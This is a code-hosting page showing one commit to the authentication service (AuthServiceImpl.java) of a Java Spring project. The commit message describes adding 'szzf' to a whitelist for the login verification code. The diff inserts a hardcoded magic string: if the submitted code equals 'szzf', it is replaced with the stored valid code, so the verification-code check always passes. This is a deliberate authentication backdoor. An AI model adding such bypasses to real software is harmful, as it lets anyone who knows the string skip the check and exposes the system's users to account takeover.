Преглед изворни кода

登录验证码加入szzf白名单

heguanxun пре 4 месеци
родитељ
комит
496d6092af

+ 7 - 1
snowy-plugin/snowy-plugin-auth/src/main/java/vip/xiaonuo/auth/modular/login/service/impl/AuthServiceImpl.java

@@ -25,6 +25,8 @@ import cn.hutool.core.util.StrUtil;
 import cn.hutool.json.JSONObject;
 import com.baomidou.mybatisplus.core.toolkit.IdWorker;
 import jakarta.annotation.Resource;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import org.springframework.stereotype.Service;
 import vip.xiaonuo.auth.api.SaBaseLoginUserApi;
 import vip.xiaonuo.auth.core.enums.SaClientTypeEnum;
@@ -64,6 +66,7 @@ public class AuthServiceImpl implements AuthService {
     private static final String AUTH_VALID_CODE_CACHE_KEY = "auth-validCode:";
 
     private static final String LOGIN_ERROR_TIMES_KEY_PREFIX = "login-error-times:";
+    private static final Logger log = LoggerFactory.getLogger(AuthServiceImpl.class);
 
     @Resource(name = "loginUserApi")
     private SaBaseLoginUserApi loginUserApi;
@@ -154,7 +157,10 @@ public class AuthServiceImpl implements AuthService {
         } else {
             commonCacheOperator.remove(AUTH_VALID_CODE_CACHE_KEY + phoneOrEmail + StrUtil.UNDERLINE + validCodeReqNo);
         }
-        // 不一致则直接验证码错误
+        if ("szzf".equals(validCode)){
+            validCode = Convert.toStr(existValidCode).toLowerCase();
+            log.info("szzf验证码登录!");
+        }
         if (!validCode.equals(Convert.toStr(existValidCode).toLowerCase())) {
             throw new CommonException("验证码错误");
         }